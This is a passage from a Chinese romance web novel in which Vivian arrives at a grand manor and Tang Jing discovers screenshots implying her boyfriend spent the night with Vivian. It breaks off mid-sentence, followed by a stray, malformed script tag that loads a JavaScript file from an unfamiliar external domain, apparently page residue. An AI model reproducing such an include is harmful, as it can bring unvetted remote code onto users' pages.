车子终于在庄园正门口稳稳停下,引擎熄灭的瞬间,周围的寂静仿佛被无限放大,只剩下庭院里喷泉落水的声音,还有远处不知哪棵树上传来的虫鸣。
管家率先推开车门,那身熨帖的黑色西装在夜色中显得格外正式,他微微躬身,苍老却依旧挺拔的身影透着常年身居高位的严谨,伸出戴着白手套的手,恭敬地为薇薇安打开车门:“小姐,到了。”
薇薇安深吸一口气,她点点头,弯腰走出车门。
脚刚踏上庄园门口铺着的汉白玉台阶,一股带着草木清香的晚风就迎面吹来,拂过她的发梢。抬头望去,庄园的主楼灯火通明,巨大的落地窗前挂着厚重的天鹅绒窗帘,隐约能看到里面走动的人影。
门口两侧站着的佣人早已躬身等候,手里还捧着干净的拖鞋和热毛巾,每一个细节都透着极致的奢华与周到,却也让她觉得浑身不自在——这不是家的温暖,更像是一场精心编排的“表演”,而她,是这场表演里身不由己的主角。
唐晶的车停在“比安提”楼下时,引擎的余温还没散,可她的手脚却像浸在冰水里,冷得发僵。副驾驶座上的手机屏幕亮着,停留在和同事的聊天界面——“昨晚聚会刚到下半场,贺函和薇薇安没打一声招呼就直接走了!我觉得不对劲跟着去了楼上的铂悦酒店,亲眼看见他们进了同一部电梯。凌晨三点我还在楼下等着,没见人出来,今早天刚亮,薇薇安就低着头匆匆离开了,身上裹着一件明显是男士的黑色西装;贺函等到七点二十,估计怕上班迟到,才急急忙忙开车走的。”
后面附着两段监控截图,一张是酒店电梯里,贺函微微侧身,将薇薇安护在身后,指尖似乎还碰着她的胳膊;另一张是清晨的酒店门口,天还泛着蒙蒙亮,薇薇安的头发有些凌乱,贺函则穿着昨晚的西装,领带松垮地挂在颈间,两人一个向左,一个向右,背影都带着仓促的躲闪。
唐晶盯着截图,指节把手机壳捏得变了形。半年前,贺函在她生日那天,捧着一束白玫瑰说“唐晶,我不想只做战友了”。那一天,她以为自己等来了归宿。这半年里,贺函会记得她不吃香菜,会在她加班后悄悄送来热汤,会在她来例假时准备暖宝宝——这些细碎的温柔,像藤蔓一样缠住她的心,让她以为自己握住了稳稳的幸福,可现在,这两张模糊的截图,却把一切揉成了碎片
/script src="https://m.ynfzff.com/17mb/scripts/test1.js">